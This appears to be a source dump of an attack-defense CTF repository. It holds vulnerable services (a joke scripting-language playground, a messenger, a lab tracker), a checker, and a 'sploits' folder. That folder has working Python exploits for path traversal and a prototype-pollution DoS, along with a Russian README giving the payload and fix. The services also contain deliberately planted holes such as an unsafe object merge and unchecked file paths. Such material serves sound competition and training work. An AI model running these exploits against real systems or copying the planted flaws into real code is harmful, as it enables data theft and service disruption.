{ 10 | return async ({ result }) => { 11 | pocketbase.authStore.loadFromCookie(document.cookie); 12 | await applyAction(result); 13 | }; 14 | }} 15 | > 16 |
17 | 18 | 19 |
20 |
21 | 22 | 23 |
24 |
25 | 26 | 27 |
28 | 29 | 30 |
31 | 32 | 90 | -------------------------------------------------------------------------------- /services/msngr/src/db.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import threading 3 | 4 | 5 | 6 | class Singleton(type): 7 | _instances = {} 8 | 9 | def __call__(cls, *args, **kwargs): 10 | if cls not in cls._instances: 11 | cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) 12 | return cls._instances[cls] 13 | 14 | 15 | class Database(metaclass=Singleton): 16 | def __init__(self): 17 | self.connection = sqlite3.connect('data/users.db', check_same_thread=False) 18 | self.sem = threading.Semaphore() 19 | cur = self.connection.cursor() 20 | cur.execute( 21 | """ 22 | CREATE TABLE IF NOT EXISTS users( 23 | id INTEGER PRIMARY KEY, 24 | username TEXT UNIQUE, 25 | secret_key TEXT, 26 | hello_message TEXT, 27 | secret_message TEXT 28 | )""" 29 | ) 30 | cur.close() 31 | 32 | # return 500 last users 33 | def users_list(self): 34 | cur = self.connection.cursor() 35 | cur.execute( 36 | """ 37 | SELECT username FROM ( 38 | SELECT id, username FROM users ORDER BY id DESC LIMIT 500 39 | ) ORDER BY id ASC; 40 | """ 41 | ) 42 | data = cur.fetchall() 43 | cur.close() 44 | return [i[0] for i in data] 45 | 46 | def add_user(self, username, secret_key, hello_message, secret_message): 47 | try: 48 | self.sem.acquire() 49 | cur = self.connection.cursor() 50 | cur.execute( 51 | """ 52 | INSERT INTO users(username, secret_key, hello_message, secret_message) VALUES(?,?,?,?); 53 | """, 54 | [username, secret_key, hello_message, secret_message], 55 | ) 56 | cur.close() 57 | self.sem.release() 58 | return "Succesfully registered", True 59 | except Exception as e: 60 | return str(e), False 61 | 62 | def get_user_info(self, username): 63 | cur = self.connection.cursor() 64 | cur.execute("SELECT * FROM users WHERE username=(?)", [username]) 65 | data = cur.fetchone() 66 | cur.close() 67 | if data is None: 68 | return [] 69 | _, username, secret_key, hello_message, secret_message = data 70 | return [username, secret_key, hello_message, secret_message] 71 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/prototype_pollution_dos/README.md: -------------------------------------------------------------------------------- 1 | # Prototype pollution DoS 2 | 3 | ### Дисклеймер-факап 4 | 5 | На самом деле сервис проектировался вокруг этой уязвимости, однако на завершающем этапе разработки оказалось, что она не эксплуатируема. Происходит это из-за того, что при любом заражении прототипа в PocketBase JS-SDK есть несколько мест, в которых объекты создаются небезопасным образом. Это приводит к различным ошибкам. Например, если в окружении заражен прототип, при попытке зафетчить любой объект переполнится стэк вызовов. 6 | 7 | > Стэк вызовов переполняется из-за того, что [тут](https://github.com/pocketbase/js-sdk/blob/283499d912b1c4793649ebd730ac6bed069106bc/src/models/Record.ts#L26) при итерации по `expand` используются также и ключи прототипа, что приводит к бесконечному рекурсивному вызову `_loadExpand`. 8 | 9 | Однако было принято решение оставить уязвимость, потому что, несмотря на то, что с её помощью не выйдет украсть флаги, она позволяет устроить DoS сервисов оппонентов, понизив таким образом их SLA, что приведет к поднятию в рейтинге. 10 | 11 | ### Уязвимость 12 | 13 | Уязвимость формируется из нескольких независимых ошибок: 14 | 15 | - [runtime.js](/services/amogus_plus_plus/web/src/lib/server/amogus_plus_plus/runtime.js), добавление новых объектов в `Runtime._storage` происходит с использованием небезопасной реализации функции `merge`. Она позволяет заразить прототип, если передать в функцию `Runtime.addToStorage(value)` `value` вида `{__proto__: {...}}` 16 | - [statementBases.js](services/amogus_plus_plus/web/src/lib/amogus_plus_plus/statementsBases.js): конвертирование из строки в число происходит не с помощью функции `parseInt`, а с использованием `JSON.parse`, что позволяет парсить не только число, а, в принципе, любой json-serializable объект. 17 | - [statementBases.js](services/amogus_plus_plus/web/src/lib/amogus_plus_plus/statementsBases.js): регулярное выражение для числа такое же, как и для имен переменных/файлов. Поэтому есть возможность присвоить переменной значение не только числа, но и чего-нибудь другого. 18 | 19 | Таким образом, возможно заразить прототип, исполнив скрипт вида: 20 | 21 | ``` 22 | GUYS I CAN VOUCH __proto__ IS {"foo":"bar"} 23 | ``` 24 | 25 | Что приведет к ошибке в PocketBase JS-SDK. 26 | 27 | ### Фикс 28 | 29 | Можно пофиксить любой из этапов эксплуатации. Самый простой, пожалуй - заменить использование `JSON.parse` на `parseInt`, что не позволит присвоить переменной значение произвольного объекта, не являющегося числом. 30 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/workspace/[workspaceId]/[filename]/+server.js: -------------------------------------------------------------------------------- 1 | import { mustBeLoggedIn, mustOwnWorkspace } from '$lib/auth/guards'; 2 | import { execute } from '$lib/server/amogus_plus_plus/execute'; 3 | import { fileContents, saveFile, workspaceFiles } from '$lib/server/workspaceUtils'; 4 | import { error, json } from '@sveltejs/kit'; 5 | 6 | /** @type {import('./$types').RequestHandler} */ 7 | export async function PUT({ locals, params, request }) { 8 | mustBeLoggedIn(locals); 9 | await mustOwnWorkspace(locals, params); 10 | 11 | /** @type {{content: string}} */ 12 | const data = await request.json(); 13 | 14 | try { 15 | saveFile(params.workspaceId, params.filename, data.content); 16 | } catch { 17 | throw error(500, 'Unable to save file'); 18 | } 19 | 20 | return json({ ok: true }); 21 | } 22 | 23 | /** @type {import('./$types').RequestHandler} */ 24 | export async function GET({ locals, params }) { 25 | mustBeLoggedIn(locals); 26 | await mustOwnWorkspace(locals, params); 27 | 28 | try { 29 | const fileData = fileContents(params.workspaceId, params.filename); 30 | return json(fileData.toString()); 31 | } catch { 32 | throw error(500, 'Unable to read file'); 33 | } 34 | } 35 | 36 | /** @type {import('./$types').RequestHandler} */ 37 | export async function POST({ locals, params, request }) { 38 | mustBeLoggedIn(locals); 39 | await mustOwnWorkspace(locals, params); 40 | 41 | /** @type {{stdin: string}} */ 42 | const { stdin } = await request.json(); 43 | 44 | /** @type {{files: string[], stdout: string, errorMsg: string}} */ 45 | let response = { 46 | files: [], 47 | stdout: '', 48 | errorMsg: '' 49 | }; 50 | 51 | if (!params.filename.endsWith('.sus')) { 52 | response.errorMsg = 53 | 'AMONGUSISABIGSUSSYBAKAHAHAHAHAHATHISLANGUAGEISREALLYCOOLPLEASEUSEITMYLIFEDEPENDSONITORELSEPLSPLSPLSPLSPLSPLSPLSkahyghdfhm++ script files must end with ".sus"'; 54 | } else { 55 | try { 56 | const code = fileContents(params.workspaceId, params.filename).toString(); 57 | response.stdout = execute(code, stdin, params.workspaceId); 58 | } catch (err) { 59 | if (err instanceof Error) { 60 | response.errorMsg = err.toString(); 61 | } else { 62 | response.errorMsg = 'Unknown error occured while executing script'; 63 | } 64 | } 65 | } 66 | 67 | try { 68 | response.files = workspaceFiles(params.workspaceId); 69 | } catch { 70 | response.errorMsg = 'Unable to list workspace files after script execution'; 71 | } 72 | 73 | return json(response); 74 | } 75 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/server/workspaceUtils.js: -------------------------------------------------------------------------------- 1 | import { WORKSPACE_DATA_DIR } from '$env/static/private'; 2 | import fs from 'node:fs'; 3 | import path from 'node:path'; 4 | 5 | /** @param {string} workspaceId */ 6 | function getWorkspaceDir(workspaceId) { 7 | const workspaceDir = path.join(WORKSPACE_DATA_DIR, workspaceId); 8 | if (!fs.existsSync(workspaceDir)) { 9 | fs.mkdirSync(workspaceDir); 10 | addFile(workspaceId, 'main.sus'); 11 | } 12 | return workspaceDir; 13 | } 14 | 15 | /** @param {string} workspaceId */ 16 | export function deleteWorkspace(workspaceId) { 17 | const workspaceDir = path.join(WORKSPACE_DATA_DIR, workspaceId); 18 | if (fs.existsSync(workspaceDir)) { 19 | fs.rmdirSync(workspaceDir, { recursive: true }); 20 | } 21 | } 22 | 23 | /** 24 | * @param {string} workspaceId 25 | */ 26 | export function workspaceFiles(workspaceId) { 27 | const workspaceDir = getWorkspaceDir(workspaceId); 28 | return fs.readdirSync(workspaceDir); 29 | } 30 | 31 | /** 32 | * @param {string} workspaceId 33 | * @param {string} filename 34 | */ 35 | function getFilePath(workspaceId, filename) { 36 | const workspaceDir = getWorkspaceDir(workspaceId); 37 | return path.join(workspaceDir, filename); 38 | } 39 | 40 | /** 41 | * @param {string} workspaceId 42 | * @param {string} filename 43 | */ 44 | export function addFile(workspaceId, filename) { 45 | const filePath = getFilePath(workspaceId, filename); 46 | if (!fs.existsSync(filePath)) { 47 | fs.writeFileSync(filePath, ''); 48 | } 49 | } 50 | 51 | /** 52 | * @param {string} workspaceId 53 | * @param {string} filename 54 | */ 55 | export function removeFile(workspaceId, filename) { 56 | const filePath = getFilePath(workspaceId, filename); 57 | if (fs.existsSync(filePath)) { 58 | fs.unlinkSync(filePath); 59 | } 60 | } 61 | 62 | /** 63 | * @param {string} workspaceId 64 | * @param {string} filename 65 | */ 66 | export function fileContents(workspaceId, filename) { 67 | const filePath = getFilePath(workspaceId, filename); 68 | return fs.readFileSync(filePath); 69 | } 70 | 71 | /** 72 | * @param {string} workspaceId 73 | * @param {string} filename 74 | * @param {string} content 75 | */ 76 | export function saveFile(workspaceId, filename, content) { 77 | const filePath = getFilePath(workspaceId, filename); 78 | fs.writeFileSync(filePath, content); 79 | } 80 | 81 | /** 82 | * @param {string} workspaceId 83 | * @param {string} filename 84 | * @param {string} char 85 | */ 86 | export function appendToFile(workspaceId, filename, char) { 87 | const filePath = getFilePath(workspaceId, filename); 88 | fs.appendFileSync(filePath, char); 89 | } 90 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/prototype_pollution_dos/sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import re 3 | import sys 4 | import json 5 | import requests 6 | from random import choice 7 | from string import ascii_letters, digits 8 | 9 | MY_HOST = '10.80.1.2' 10 | 11 | host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' 12 | hint = json.loads( 13 | sys.argv[2] 14 | if len(sys.argv) > 2 15 | else '{"username":"vulnerable","workspace_id":"i2yy40zjs6qgitq"}' 16 | ) 17 | 18 | URL = f'http://{host}:1984' 19 | 20 | PAYLOAD = ( 21 | 'GUYS I CAN VOUCH __proto__ IS ' 22 | '{{"user":{{"username":"{username}"}},"owner":{{"username":"{username}"}}}}' 23 | ) 24 | 25 | 26 | def random_string(length: int = 16): 27 | return ''.join(choice(ascii_letters + digits) for _ in range(length)) 28 | 29 | 30 | def register(session: requests.Session): 31 | session.post( 32 | f'{URL}/auth/signup', 33 | data={ 34 | 'username': random_string(), 35 | 'email': f'{random_string()}@mail.ru', 36 | 'password': random_string(), 37 | }, 38 | ) 39 | token = session.cookies["pb_auth"] 40 | session.headers["Cookie"] = f"pb_auth={token}" 41 | 42 | 43 | def get_workspace_id_from_link(link: str) -> str: 44 | workspace_id_match = re.search(r'/workspace/(?P[a-z0-9]+)$', link) 45 | assert workspace_id_match is not None 46 | workspace_id = workspace_id_match.group('id') 47 | return workspace_id 48 | 49 | 50 | def create_workspace(session: requests.Session) -> str: 51 | response = session.post( 52 | f'{URL}/playground?/createWorkspace', 53 | data={'name': random_string(), 'description': None}, 54 | ) 55 | redirect_location = response.json()["location"] 56 | return get_workspace_id_from_link(redirect_location) 57 | 58 | 59 | def save_payload(session: requests.Session, workspace_id: str, username: str): 60 | session.put( 61 | f'{URL}/workspace/{workspace_id}/main.sus', 62 | json={ 63 | 'content': PAYLOAD.format(username=username), 64 | }, 65 | ) 66 | 67 | 68 | def execute_payload(session: requests.Session, workspace_id: str) -> str: 69 | session.post( 70 | f'{URL}/workspace/{workspace_id}/main.sus', 71 | json={'stdin': ''}, 72 | ) 73 | 74 | 75 | def main(): 76 | if host == MY_HOST: 77 | # We don't want to dos ourselves :D 78 | return 79 | 80 | s = requests.Session() 81 | register(s) 82 | workspace_id = create_workspace(s) 83 | save_payload(s, workspace_id, hint['username']) 84 | execute_payload(s, workspace_id) 85 | 86 | 87 | if __name__ == '__main__': 88 | main() 89 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/FlyingAmogus.svelte: -------------------------------------------------------------------------------- 1 | 84 | 85 | 86 | 87 | 95 | 96 | 103 | -------------------------------------------------------------------------------- /sploits/amogus_plus_plus/path_traversal/sploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import re 3 | import sys 4 | import json 5 | import requests 6 | from random import choice 7 | from string import ascii_letters, digits 8 | 9 | host = sys.argv[1] if len(sys.argv) > 1 else 'localhost' 10 | hint = json.loads( 11 | sys.argv[2] 12 | if len(sys.argv) > 2 13 | else '{"username":"vulnerable","workspace_id":"i2yy40zjs6qgitq"}' 14 | ) 15 | 16 | 17 | URL = f'http://{host}:1984' 18 | 19 | PAYLOAD = ''' 20 | IS ../{vuln_workspace_id}/main.sus EMPTY RED TELL ME PLS PLS PLS 21 | WHILE ITS NOT RED VOTE ME 22 | BLOCKUS 23 | CHAR HAS LEFT THE ../{vuln_workspace_id}/main.sus 24 | CHAR CAN VOUCH GO AND TELL THEM COME ON 25 | IS ../{vuln_workspace_id}/main.sus EMPTY RED TELL ME PLS PLS PLS 26 | ENDBLOCKUS 27 | '''.strip() 28 | 29 | 30 | def random_string(length: int = 16): 31 | return ''.join(choice(ascii_letters + digits) for _ in range(length)) 32 | 33 | 34 | def register(session: requests.Session): 35 | session.post( 36 | f'{URL}/auth/signup', 37 | data={ 38 | 'username': random_string(), 39 | 'email': f'{random_string()}@mail.ru', 40 | 'password': random_string(), 41 | }, 42 | ) 43 | token = session.cookies["pb_auth"] 44 | session.headers["Cookie"] = f"pb_auth={token}" 45 | 46 | 47 | def create_workspace(session: requests.Session) -> str: 48 | response = session.post( 49 | f'{URL}/playground?/createWorkspace', 50 | data={'name': random_string(), 'description': None}, 51 | ) 52 | redirect_location = response.json()["location"] 53 | workspace_id_match = re.search(r'/workspace/(?P[a-z0-9]+)$', redirect_location) 54 | assert workspace_id_match is not None 55 | workspace_id = workspace_id_match.group('id') 56 | return workspace_id 57 | 58 | 59 | def save_payload(session: requests.Session, self_workspace_id: str, vuln_workspace_id: str): 60 | session.put( 61 | f'{URL}/workspace/{self_workspace_id}/main.sus', 62 | json={ 63 | 'content': PAYLOAD.format(vuln_workspace_id=vuln_workspace_id), 64 | }, 65 | ) 66 | 67 | 68 | def execute_payload(session: requests.Session, workspace_id: str) -> str: 69 | resp = session.post( 70 | f'{URL}/workspace/{workspace_id}/main.sus', 71 | json={'stdin': ''}, 72 | ) 73 | return resp.json()['stdout'] 74 | 75 | 76 | def main(): 77 | s = requests.Session() 78 | register(s) 79 | workspace_id = create_workspace(s) 80 | save_payload(s, workspace_id, hint['workspace_id']) 81 | stdout = execute_payload(s, workspace_id) 82 | print(stdout, flush=True) 83 | 84 | 85 | if __name__ == '__main__': 86 | main() 87 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/server/amogus_plus_plus/runtime.js: -------------------------------------------------------------------------------- 1 | import { fileContents } from '../workspaceUtils'; 2 | 3 | class FileReader { 4 | /** @param {string} content */ 5 | constructor(content) { 6 | this._content = content; 7 | this._pos = 0; 8 | } 9 | 10 | /** @returns {Number} */ 11 | next() { 12 | if (this._pos >= this._content.length) { 13 | throw new Error('Unable to read next character'); 14 | } 15 | return this._content.charCodeAt(this._pos++); 16 | } 17 | 18 | reachedEof() { 19 | return this._pos >= this._content.length; 20 | } 21 | } 22 | 23 | /** 24 | * @param {any} target 25 | * @param {any} source 26 | */ 27 | function merge(target, source) { 28 | for (const key in source) { 29 | if (typeof target[key] === 'object' && typeof source[key] === 'object') { 30 | merge(target[key], source[key]); 31 | } else { 32 | target[key] = source[key]; 33 | } 34 | } 35 | } 36 | 37 | export default class Runtime { 38 | /** 39 | * @param {string} stdin 40 | * @param {string} workspaceId 41 | */ 42 | constructor(stdin, workspaceId) { 43 | this.workspaceId = workspaceId; 44 | 45 | this._stdin = new FileReader(stdin); 46 | this._stdout = ''; 47 | 48 | this._filereaders = {}; 49 | this._storage = {}; 50 | 51 | this.jumpStack = []; 52 | } 53 | 54 | /** @param {string} filename */ 55 | fileReader(filename) { 56 | if (!(filename in this._filereaders)) { 57 | const content = fileContents(this.workspaceId, filename).toString(); 58 | // @ts-ignore 59 | this._filereaders[filename] = new FileReader(content); 60 | } 61 | // @ts-ignore 62 | return this._filereaders[filename]; 63 | } 64 | 65 | /** @param {string} key */ 66 | getFromStorage(key) { 67 | if (!(key in this._storage)) { 68 | throw new Error(`Variable ${key} is not defined`); 69 | } 70 | // @ts-ignore 71 | return this._storage[key]; 72 | } 73 | 74 | /** 75 | * @param {string} key 76 | * @param {any} value 77 | */ 78 | addToStorage(key, value) { 79 | if (typeof value !== 'object') { 80 | // @ts-ignore 81 | this._storage[key] = value; 82 | } else { 83 | if (!(key in this._storage)) { 84 | // @ts-ignore 85 | this._storage[key] = new Object(); 86 | } 87 | // @ts-ignore 88 | merge(this._storage[key], value); 89 | } 90 | } 91 | 92 | get Stdout() { 93 | return this._stdout; 94 | } 95 | 96 | /** @param {Number} char */ 97 | writeToStdout(char) { 98 | this._stdout += String.fromCharCode(char); 99 | } 100 | 101 | readFromStdin() { 102 | return this._stdin.next(); 103 | } 104 | 105 | hasStdinReachedEof() { 106 | return this._stdin.reachedEof(); 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/pocketbase/pb_migrations/1689615071_collections_snapshot.js: -------------------------------------------------------------------------------- 1 | migrate((db) => { 2 | const snapshot = [ 3 | { 4 | "id": "5b62gswbvx6alk6", 5 | "created": "2023-07-10 06:39:35.697Z", 6 | "updated": "2023-07-17 14:05:09.813Z", 7 | "name": "workspaces", 8 | "type": "base", 9 | "system": false, 10 | "schema": [ 11 | { 12 | "system": false, 13 | "id": "vwxx12eu", 14 | "name": "name", 15 | "type": "text", 16 | "required": true, 17 | "unique": false, 18 | "options": { 19 | "min": null, 20 | "max": null, 21 | "pattern": "" 22 | } 23 | }, 24 | { 25 | "system": false, 26 | "id": "flunqi9k", 27 | "name": "owner", 28 | "type": "relation", 29 | "required": true, 30 | "unique": false, 31 | "options": { 32 | "collectionId": "_pb_users_auth_", 33 | "cascadeDelete": false, 34 | "minSelect": null, 35 | "maxSelect": 1, 36 | "displayFields": [] 37 | } 38 | }, 39 | { 40 | "system": false, 41 | "id": "gu5orpnc", 42 | "name": "description", 43 | "type": "text", 44 | "required": false, 45 | "unique": false, 46 | "options": { 47 | "min": null, 48 | "max": null, 49 | "pattern": "" 50 | } 51 | } 52 | ], 53 | "indexes": [ 54 | "CREATE UNIQUE INDEX `idx_RpTwAg7` ON `workspaces` (\n `name`,\n `owner`\n)" 55 | ], 56 | "listRule": "@request.auth.id != ''", 57 | "viewRule": "@request.auth.id != ''", 58 | "createRule": "@request.auth.id != ''", 59 | "updateRule": null, 60 | "deleteRule": "@request.auth.id != ''", 61 | "options": {} 62 | }, 63 | { 64 | "id": "_pb_users_auth_", 65 | "created": "2023-07-14 09:55:46.665Z", 66 | "updated": "2023-07-14 09:55:46.674Z", 67 | "name": "users", 68 | "type": "auth", 69 | "system": false, 70 | "schema": [], 71 | "indexes": [], 72 | "listRule": "id = @request.auth.id", 73 | "viewRule": "id = @request.auth.id", 74 | "createRule": "", 75 | "updateRule": "id = @request.auth.id", 76 | "deleteRule": "id = @request.auth.id", 77 | "options": { 78 | "allowEmailAuth": true, 79 | "allowOAuth2Auth": false, 80 | "allowUsernameAuth": true, 81 | "exceptEmailDomains": null, 82 | "manageRule": null, 83 | "minPasswordLength": 5, 84 | "onlyEmailDomains": null, 85 | "requireEmail": false 86 | } 87 | } 88 | ]; 89 | 90 | const collections = snapshot.map((item) => new Collection(item)); 91 | 92 | return Dao(db).importCollections(collections, true, null); 93 | }, (db) => { 94 | return null; 95 | }) 96 | -------------------------------------------------------------------------------- /checkers/schizichs/checker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import requests 4 | 5 | from checklib import * 6 | from schizics_lib import * 7 | 8 | 9 | class Checker(BaseChecker): 10 | vulns: int = 2 11 | timeout: int = 5 12 | uses_attack_data: bool = True 13 | 14 | def __init__(self, *args, **kwargs): 15 | super(Checker, self).__init__(*args, **kwargs) 16 | self.mch = CheckMachine(self) 17 | 18 | def action(self, action, *args, **kwargs): 19 | try: 20 | super(Checker, self).action(action, *args, **kwargs) 21 | except requests.exceptions.ConnectionError: 22 | self.cquit(Status.DOWN, 'Connection error', 'Got requests connection error') 23 | 24 | def check(self): 25 | session = self.get_initialized_session() 26 | username, password = rnd_username(), rnd_password() 27 | 28 | comment = rnd_string(20) 29 | lab_name = rnd_string(15) 30 | expected_result = rnd_float(100, 99999) 31 | test_result = expected_result 32 | 33 | self.mch.register(session, username, password) 34 | self.mch.login(session, username, password, Status.MUMBLE) 35 | self.mch.add_lab(session, test_result, expected_result, lab_name, comment) 36 | value = self.mch.get_lab(session, lab_name, Status.MUMBLE) 37 | 38 | self.assert_eq(value, comment, "Lab comment is not valid") 39 | self.cquit(Status.OK) 40 | 41 | def put(self, flag_id: str, flag: str, vuln: str): 42 | session = self.get_initialized_session() 43 | username, password = rnd_username(), rnd_password() 44 | 45 | lab_name_full = rnd_string(10) 46 | if vuln == "1": 47 | lab_name_full += "_1" 48 | elif vuln == "2": 49 | lab_name_full += "_2" 50 | elif vuln == "3": 51 | lab_name_full += "_3" 52 | 53 | lab_name_public = lab_name_full[:5] 54 | expected_result = rnd_float(100, 99999) 55 | test_result = expected_result 56 | self.mch.register(session, username, password) 57 | self.mch.login(session, username, password, Status.MUMBLE) 58 | self.mch.add_lab(session, test_result, expected_result, lab_name_full, flag) 59 | self.cquit(Status.OK, lab_name_public, f'{username}:{password}:{lab_name_full}') 60 | 61 | def get(self, flag_id: str, flag: str, vuln: str): 62 | s = self.get_initialized_session() 63 | username, password, note_name_full = flag_id.split(':') 64 | 65 | self.mch.login(s, username, password, Status.CORRUPT) 66 | value = self.mch.get_lab(s, note_name_full, Status.CORRUPT) 67 | 68 | self.assert_eq(value, flag, "Note value is invalid", Status.CORRUPT) 69 | 70 | self.cquit(Status.OK) 71 | 72 | 73 | if __name__ == '__main__': 74 | c = Checker(sys.argv[2]) 75 | try: 76 | c.action(sys.argv[1], *sys.argv[3:]) 77 | except c.get_check_finished_exception(): 78 | cquit(Status(c.status), c.public, c.private) 79 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/playground/+page.svelte: -------------------------------------------------------------------------------- 1 | 7 | 8 |

CHOOSE WORKSPACE TO WORK IN

9 | 10 |
    11 | {#each data.workspaces as workspace} 12 |
  • 13 | {workspace.name} 14 |
    15 | 16 | 17 |
    18 |
  • 19 | {/each} 20 | 21 |
    22 | 30 |